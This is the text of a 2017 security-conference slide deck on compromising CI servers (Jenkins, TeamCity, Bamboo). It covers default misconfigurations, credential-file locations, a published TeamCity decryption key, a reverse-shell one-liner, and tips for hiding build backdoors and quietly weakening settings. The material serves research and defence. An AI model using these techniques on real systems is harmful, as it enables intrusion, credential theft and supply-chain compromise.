Continuous Integration, Continuous Compromise

WESLEY WINEBERG
BSIDES VANCOUVER 2017



Outline

- What's a CI?
- Common Misconfigurations (and how to abuse)
- Code Execution By Design!
- Slaves and Masters Pivoting
- Backdoor The Builds™

About – Wesley Wineberg



- Previously: SCADA, Smart Grid, Medical Devices, Stunt Hacking
- More Recently: Microsoft Azure™ Red Team
- This research done independently


















Build Systems – Unofficial History

Back in the day...

- Code Repository
- Build Server
- Iterative Builds Need to avoid "breaking" the build
- Testing done after build
- Deployment is someone else's job



Build Systems – Historical Hacking

Compiler Backdoors

- Karger & Schell 1974
- Ken Thompson 1984
 - Reflections On Trusting Trust
- Theory of these attacks hasn't really changed
- Few actual real world attacks

Build Systems – Modern Day

Now:

- DevOps: Everyone's doing it
- CI: Continuous Integration
- CD: Continuous Delivery
- CD: Continuous Deployment
- CD: Compact Disc
- Infrastructure Automation
- Instrumentation, Monitoring, A/B Testing, etc.



Build Systems – Modern Day

Now:

Cl: Continuous Integration











CD: Continuous Deployment






Infrastructure Automation







Dev Ops – Illustrated / Tangent



Are you in management and just want to know what to buy to keep your datas secure?

- Yes please tell me
- Explain like I'm 5
- We'll work on our synergies later, I'm leaving to do shots with the sales people




Dev Ops – Attackers Perspective

- DevOps: Everyone's doing it
 - Rush to do devops without thinking through security implications
- Cl: Continuous Integration
 - Continuously compromised compilers
- CD: Continuous Delivery
 - Software that is untrusted from day 0
- CD: Continuous Deployment
 - So much for that segmented, secure production environment
- Infrastructure Automation
 - Use this one cool trick to backdoor all servers at once



Dev Ops – What It Means For Security



Dev Ops – What It Means For Security

AWS Keys

Internet Hosted
Systems


We'll Test In Prod

Code Full Of Vulns

Our Target – CI Systems

- Cl systems are the start of the chain of trust
- Test automation usually involves lots of creds
- Packaging including code signing done here
- Often Cl systems are used as CD systems, or are very tightly coupled
- Like all areas of dev ops, most of these systems have had very light security review

CI Systems Reviewed




Let's Get Practical COMPROMISING CL SYSTEMS

CI: Continuously Misconfigured

- You don't need "vulns" to hack CI systems. They are always* misconfigured
- Successful CI products are highly configurable and adaptable
 - Dev and build environments are always giant kludged together messes. Cl needs to work with this.
- Complexity and Security are opposites
- For Cl systems, install defaults themselves are often insecure

Your company has at least one CI system, and it's definitely misconfigured. Better hope it's not internet accessible.




Default Configs - Jenkins

- Jenkins (Hudson) is almost a decade old
 - Security was not an original concern/priority
- In the last couple years, significant security improvements made
 - How old is your install?
 - Is its config from a time when the defaults were terrible?
- Default server listens on port 8080
- Fresh install forces user defined or strong admin password
- User registration disabled by default, but all users are admins
- Plugin bundle recommended during install
- Build slave installed onto build master server

Historic Configs - Jenkins

For example, some of these used to be defaults...





Default Configs – Team City

- Default server listens on port 8111
- User is forced to choose an admin username / password
- User registration enabled by default
- All users inherit "Project Developer" permissions
- Unidirectional slave communications default
- Build slave installed onto build master server


Default Configs – Bamboo

- Default server listens on port 8085
- User is forced to choose an admin username / password
- User registration enabled by default
- New users are put in "bamboo-user" group
- Bamboo-user group can only view
- Bamboo-admin is the only other group by default
- "Resolve artifacts content type by extension" –
 XSS
- Build slave installed onto build master server






..or at least 3,446 Hosts Online




3,251 Hosts Online – Shodan doesn't know port 8111?



Internet Connected Cl

Just because you can, doesn't mean you should



Background: Doing a privately contracted pentest, find "Nahamsec" already on their online CI server. Ruh-oh.

Common Misconfigurations To Look For

Let's say your CI system isn't just install defaults...

- User registration: Even low permission user = disaster
- "Anonymous" access
- All Developers have full admin access
 - Or even project admin access!
- Different projects (of different trust) sharing the same build nodes and system
- Build credentials having unlimited access: SSH creds, AWS keys, AD accounts, etc.
- Plugins: Like Wordpress plugins, but for CI
 - Some plugins expose creds similar to the above bullet
 - Some plugins are just poorly written and full of vulns

Common Misconfigurations To Look For

Say you only have read only access:

- List the users on the system
 - Guess weak passwords
- Attempt to list API / OAuth keys instead


You should...

- Get your devs to check for misconfigurations
- Make them check again REGULARLY



Credential / Secrets Storage

- Each CI system protects credentials differently
- Generally if you can read a stored credential you already have admin access or other means of extracting it
- Once gaining admin, no reason not to collect all the creds however...



Credential Storage – Jenkins - Old

- Master key
 - /var/lib/jenkins/secrets/master.key
- Secret key (per project)
 - /var/lib/jenkins/secret.key
- Both keys used to form AES decryption key
- https://github.com/tweksteen/jenkinsdecrypt/blob/master/decrypt.py
- You can also just use the script console in Jenkins to do it – probably leaves more evidence of your hacking in the logs though

Credential Storage - TeamCity

- TeamCity treats credential "files" (say an SSH key) different than credential "strings"
- Credential files are unencrypted
- Credential strings are triple DES encrypted then Base64 encoded.
- Decryption key:
 3d160b396e59ecff00636f883704f70a0b2d47a7159d3633
- Link to Python decryption script at end of presentation
- TeamCity said it was fine to disclose key

Credential Storage - Bamboo

- Stored in the database used by Bamboo
- AES encrypted, CBC mode
- /var/atlassian/application-data/bamboo/xmldata/configuration/cipher/cipher.key_0
- Database Bandana table:
 - com.atlassian.restricted.instance.cipher.key_0
 - com.atlassian.restricted.instance.cipher.iv_0
- Xor local filesystem + DB keys together
- Link to Python decryption script at end of presentation

System Permission - Jenkins

- 6 different Authorization schemes
 - Anyone can do anything (ie no auth)
 - Legacy mode
 - Anonymous user have read access
 - Logged-in users can do anything
 - Matrix-based security
 - Project-based Matrix Authorization Strategy
- What to look for:
 - Custom auth providers which don't tie in properly to matrix-based security.

User/group	Overall						Credentials					Agent							Job								Run			View			S	SCM	
		erConfigureUpdateCer	nterRead	RunScripts	UploadPlugins	CreateD	eletel																												
Anonymous																																			
& testuser1																																			

System Permission - TeamCity


- 4 standard permissions levels:
 - Project viewer Read only
 - Project developer Can start build, supply params
 - Project admin Full control of project
 - System admin Full control of everything
- What to look for:
 - Nested / default permissions groups. Users inherit both global and per-project permissions
 - While "project developers" can't modify build steps, they can supply params like the env.PATH variable
 - "Project admin" gives RCE and all project creds via the project backup option

System Permission - Bamboo

- 2 default permissions groups:
 - User
 - Admin
- 4 permissions levels
 - Access, Create plan, Create repository, Admin
- What to look for:
 - Projects can be viewed with no auth by default
 - Auth groups not changed, all developers are made admins
 - Plan creation permissions

A significant amount of tuning is required to prevent a normal developer from having admin-like access on the CI system

- Limit which devs have access in the first place
- Segment CI systems



Plugins – Gold Mine of Vulns

- Jenkins CVE-2015-5298
- https://wiki.jenkinsci.org/display/JENKINS/Google+Login+Plugin
- https://accounts.google.com/o/oauth2/auth?clie nt_id=733205151337tq1337b.apps.googleusercontent.com&redirect_ uri=https://jenkins.example.com/securityRealm/finishLogin&response_type=code&scope=profile%20email&state=NTk1ZmQ1MWUtYz1337Z0&hd=example.com

Build Me A Remote Shell!

All CI solutions let "project administrators" add a task to just execute a command.

- Jenkins:
 - Build step: Execute Shell
- TeamCity:
 - Runner type: Command Line
- Bamboo:
 - Task: Command Add new Executable

Then just run:

- bash -i >& /dev/tcp/10.0.0.1/31337 0>&1
- Random Powershell® magic

Slave to Master Pivoting

- (Please think of "slave" as "node", and "master" as "coordinator" if you prefer)
- If you can define trigger a custom build, you can get code exec on a slave host
 - This, if nothing else, will let you compromise any future builds on that slave
- If a build slave is running on the build master server, then you can directly compromise the master
 - Unless it is running under a different user account
- If slaves are segmented, there are still paths back

Slaves and Masters - Jenkins

- Like everything Jenkins related, there are 4 different slave protocols (and 2 "CLI" protocols)
 - Older versions of the protocols are unencrypted
- An option (default now) for access control over what a slave can access on the master
 - Previous versions allowed a slave full control (basically remote code exec) on the master

Slaves to Masters - TeamCity

- Two models for slaves on TeamCity:
 - Unidirectional Slave polls for actions
 - Bidirectional (XML-RPC) Master sends slaves actions
- Slave authentication is neat:
 - Any host can register as a slave
 - Host can pick its own name (say pretend to be another host)
 - Admin has to look in the list of unregister hosts and approve new ones (DoS opportunity here)
- Slaves are limited in what they can access on the master
- Communications are unencrypted by default
 - TeamCity recommends using a secure environment as plain HTTP is faster??

Slaves to Masters - Bamboo

- Bandana protocol
- Slaves cost money
- Still need to investigate protocol and auth



Backdooring the Build Process


The obvious way: Add a new build step

 Insert the step between the build and the test stages

Or between the test and the artifact collection stage

 At least give it a innocent name, like "unit test collection", or "static security analysis". Say you're a developer and you see a new build step...

- Do you ask your coworkers?
- Ignore it and hope someone else questions it?
- Tell your boss you got hacked?
 Yeah right.



Backdooring the Build Process

The better way: Plugins

- CI systems are designed to be extensible, so, extend!
- Configure the plugin to run against every job without requiring changes to the build jobs themselves
- Jenkins example will be posted

Backdooring the Whole System

The best offense... Is plausible deniability!

- We've just covered a ton of ways that the configuration of these systems can go wrong.
- Once you're admin, make some of the configuration go wrong!
 - Turn off CSRF protection in Jenkins / Bamboo
 - Add some "test" accounts that aren't admins but have full admin permissions
 - Allow slaves more control over master
 - Add additional auth providers
 - Generate additional API/OAuth tokens




Continuous Compromise

A proper backdoored compiler will backdoor all new versions of the compiler

Applied to Cl...

*This is animated in the PPT version



In Summary

- It's probably impossible to fully secure a CI system
- It's also probably impossible to clean up a previously hacked CI system without a complete fresh install and fresh configuration
- Don't put your Cl systems on the internet
 - At least throw an auth proxy in front of them
- How much trust do you have in the output of your CI?
 - Would you ever know if code was backdoored from the start?

Want more?

Great talk on hacking CI systems at Blackhat EU 2015:

Nikhil Mittal - Continuous Intrusion: Why CI Tools Are An Attackers Best Friend

• Just about everything in that presentation applies to the current versions of the CI systems. 😊

Slides and tools online at: http://exfiltrated.com/research.php
(Eventually)

Contact: wesley@exfiltrated.com

QUESTIONS?



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